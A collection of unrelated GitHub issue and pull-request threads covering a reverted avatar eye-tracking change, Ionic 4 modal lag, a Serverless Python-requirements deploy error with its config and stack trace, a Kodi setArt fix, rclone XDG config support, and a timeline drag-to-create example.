Sync player's eyeTarget and eyeballTarget.

LocalPlayer
Sync LocalPlayer's eyeballTarget with eyeTarget, let them both look at zTargeting.focusTargetReticle.
Before:

After:
lastNeedsEyeTarget = true:

lastNeedsEyeTarget = false:

NpcPlayer
Sync NpcPlayer's eyeTarget with eyeballTarget, let them both look at localPlayer by default.
Before:

After:

@gonnavis I think this PR somewhat broke mirrors functionality. Sometimes the avatar will be looking at themselves and sometimes not (it jumps).

I'm going to revert this since it makes mirrors somewhat worse. I think it must be a conflict in the code.

Reverted: https://github.com/webaverse/app/commit/323b65e64dd400327914789b12d4b9f00c56c844


Ionic4: Ion-modal dismiss has a lag.

If you open modal and then dismiss it and then open it again suddenly by clicking on button then sometimes click event of a button by which modal is opened is not triggered. This happens because z-index of the ion-modal element is high and after .dismiss() it remains in DOM for few milliseconds in that time if the user again taps on a button to open modal then that event is not triggered. Causing a feel like a lag.
The temporary hack I used is to set z-index of ion-modal as -1 before calling dismiss. But I think ionic can definitely do something better to make it smoother.
One more point is that there is a little lag when the first time a modal is opened. But after the first time, it is pretty fast. I am not sure why that is happening. Any solution for that?
I am using:
<script src="https://unpkg.com/<EMAIL_ADDRESS>

Modal animation performance is unpredictable in Ionic v4, definitely not at the level Ionic v3 where transitions are always smooth without any lag whatsoever.
Generally speaking transitions (modal or otherwise) need work in v4.

I have noticed same issue with actionsheets and popovers also.

Any update on this?

IS this still an problem in last beta?


Single Function Deploy Failure: Cannot set property 'artifact' of undefined

I'm running into an issue regarding deploying a single function. I can deploy all of the functions using sls deploy but I have the issue of Cannot set property 'artifact' of undefined whenever I attempt to deploy a single one. I have included my versions, a traceback of the issue and my serverless.yml file.
 Without these properties, you can not publish the service to the Serverless Platform.
Serverless: Invoke deploy:function
Serverless: Installing requirements of src/api/requirements.txt in .serverless/src/api...
Serverless: Docker Image: lambci/lambda:build-python3.6
Serverless: Installing requirements of src/scheduler/requirements.txt in .serverless/src/scheduler...
Serverless: Docker Image: lambci/lambda:build-python3.6
Serverless: Installing requirements of src/strategy/requirements.txt in .serverless/src/strategy...
Serverless: Docker Image: lambci/lambda:build-python3.6
Serverless: Copying vendor libraries from ./src/parser to .serverless/src/strategy/requirements...
Serverless: Installing requirements of src/analysis/requirements.txt in .serverless/src/analysis...
Serverless: Docker Image: lambci/lambda:build-python3.6
Serverless: Invoke package:function
Serverless: Packaging function: strategy...
Serverless: Excluding development dependencies...
Serverless: Injecting required Python packages to package...

  Type Error ---------------------------------------------

  Cannot set property 'artifact' of undefined

     For debugging logs, run again after setting the "SLS_DEBUG=*" environment variable.

  Stack Trace --------------------------------------------

TypeError: Cannot set property 'artifact' of undefined
    at BbPromise.resolve.filter.map.map.func (/Users/MrTeale/Desktop/PROJECT_ALPHA/node_modules/serverless-python-requirements/lib/inject.js:102:33)
From previous event:
    at PluginManager.invoke (/usr/local/lib/node_modules/serverless/lib/classes/PluginManager.js:390:22)
    at PluginManager.run (/usr/local/lib/node_modules/serverless/lib/classes/PluginManager.js:421:17)
    at variables.populateService.then.then (/usr/local/lib/node_modules/serverless/lib/Serverless.js:157:33)
    at runCallback (timers.js:672:20)
    at tryOnImmediate (timers.js:645:5)
    at processImmediate [as _immediateCallback] (timers.js:617:5)
From previous event:
    at Serverless.run (/usr/local/lib/node_modules/serverless/lib/Serverless.js:144:8)
    at serverless.init.then (/usr/local/lib/node_modules/serverless/bin/serverless:43:50)

  Get Support --------------------------------------------
     Docs:          docs.serverless.com
     Bugs:          github.com/serverless/serverless/issues
     Issues:        forum.serverless.com

  Your Environment Information -----------------------------
     OS:                     darwin
     Node Version:           6.11.1
     Serverless Version:     1.32.0

Serverless.yml file:
service: project-alpha

package:
    individually: true

plugins:
  - serverless-domain-manager
  - serverless-python-requirements

custom:
  pythonRequirements:
    dockerizePip: true
  schedulesTableName: 'schedules-table-${self:provider.stage}'
  usersTableName: 'users-table-${self:provider.stage}'
  strategiesTableName: 'strategies-table-${self:provider.stage}'
  customDomain:
    domainName: **INSERT DOMAIN HERE**
    basePath: ''
    stage: ${self:provider.stage}
    createRoute53Record: true

provider:
  name: aws
  runtime: python3.6
  stage: dev
  region: us-east-1
  profile: private
  logRetentionInDays: 1
  memorySize: 128

functions:
  api:
    module: src/api
    handler: wsgi.handler
    role: apiIAMRole
    events:
      - http:
          path: /
          method: ANY
          cors: true
      - http:
          path: '{proxy+}'
          method: ANY
          cors: true
  schedule:
    module: src/scheduler
    handler: schedule.main
    role: schedulerIAMRole
    events:
      - stream:
          type: dynamodb
          arn:
            Fn::GetAtt:
              - SchedulesDynamoDBTable
              - StreamArn
          batchSize: 1
          startingPosition: LATEST
          enabled: true
  strategy:
    module: src/strategy
    handler: strat.main
    role: strategyIAMRole
    vendor: ./src/parser
  analysis:
    module: src/analysis
    handler: analysis.main
    role: analysisIAMRole

resources:
  Resources:
    SchedulesDynamoDBTable:
      Type: 'AWS::DynamoDB::Table'
      Properties:
        AttributeDefinitions:
          - AttributeName: uniqueID
            AttributeType: S
        KeySchema:
          - AttributeName: uniqueID
            KeyType: HASH
        ProvisionedThroughput:
          ReadCapacityUnits: 1
          WriteCapacityUnits: 1
        TableName: ${self:custom.schedulesTableName}
        StreamSpecification:
          StreamViewType: NEW_IMAGE
    UsersDynamoDBTable:
      Type: 'AWS::DynamoDB::Table'
      Properties:
        AttributeDefinitions:
          - AttributeName: username
            AttributeType: S
        KeySchema:
          - AttributeName: username
            KeyType: HASH
        ProvisionedThroughput:
          ReadCapacityUnits: 1
          WriteCapacityUnits: 1
        TableName: ${self:custom.usersTableName}
    StrategiesDynamoDBTable:
      Type: 'AWS::DynamoDB::Table'
      Properties:
        AttributeDefinitions:
          - AttributeName: strategy
            AttributeType: S
        KeySchema:
          - AttributeName: strategy
            KeyType: HASH
        ProvisionedThroughput:
          ReadCapacityUnits: 1
          WriteCapacityUnits: 1
        TableName: ${self:custom.strategiesTableName}
    apiIAMRole: ${file(./IAMroles.yml):apiIAMRole}
    schedulerIAMRole: ${file(./IAMroles.yml):schedulerIAMRole}
    strategyIAMRole: ${file(./IAMroles.yml):strategyIAMRole}
    analysisIAMRole: ${file(./IAMroles.yml):analysisIAMRole}

This is the current file structure.

I'd really love any assistance in fixing this issue as it appears to have persisted from 4.0.3 as mentioned in #161 and is severely impacting having an efficient workflow.
Thanks in advance.

Hi @MrTeale, I had the exact same issue, and was using @AndrewFarley's version but since its pull-request has now been merged, you should just use the latest version of the plugin (4.2.2).
If the problem is indeed the same as mine, it should work like a charm!

I completely didn't notice that there was a new version released. That has fixed my issue. Thank you so much

still a problem in 2020 (or the days before 2021) with an install only days old
sls deploy function --function myhandler
doesn't work
TypeError: Cannot read property 'artifact' of undefined
at ServerlessPythonRequirements.BbPromise.bind.then.then.then (/home/me/Projects/Python3/api-logon-py/node_modules/serverless-python-requirements/index.js:17
6:48)


use setArt

in Kodi 19 function setIconImage return nop
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Translation

Checklist:

[x] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

Thanks, makes sense.


support XDG_CONFIG_HOME

I would be great to have rclone use $XDG_DATA_HOME/rclone/config, and then $HOME/.rclone.conf as a fallback.

I read from https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html that $XDG_CONFIG_HOME is probably what is required.

$XDG_CONFIG_HOME defines the base directory relative to which user specific configuration files should be stored. If $XDG_CONFIG_HOME is either not set or empty, a default equal to $HOME/.config should be used.

That would fulful the request I've had in the past to get the config file into the .config dir.

Woops, you're absolutely right: I meant $XDG_CONFIG_HOME/rclone/config

Does anyone know what macOS does...  Is the XDG convention sensible here?

I don't think it is. https://stackoverflow.com/questions/3373948/equivalents-of-xdg-config-home-and-xdg-data-home-on-mac-os-x#5084892

This is now done!  See this beta
http://beta.rclone.org/v1.35-44-g8068ef9/ (uploaded in 15-30 mins)


docs: add drag to create example

Inspired by: #63
Added an example where the user can create a new item by dragging on the timeline.
preview: https://dnd-timeline-create.vercel.app/

Great example and very similar to how I implemented it myself.
There are a couple things like being able to drag backwards, show the preview on a sub row and cancel a drag event, but they should all be easy to add on top of this simple example. 😄
Just for reference this is how it can work with a little extra work...
https://github.com/user-attachments/assets/0f91edcb-b891-4a60-bb93-09b2bf43fb39

Great example and very similar to how I implemented it myself.
There are a couple things like being able to drag backwards, show the preview on a sub row and cancel a drag event, but they should all be easy to add on top of this simple example. 😄
Just for reference this is how it can work with a little extra work...
Screen.Recording.2024-12-22.at.09.35.14.mov

Looks great!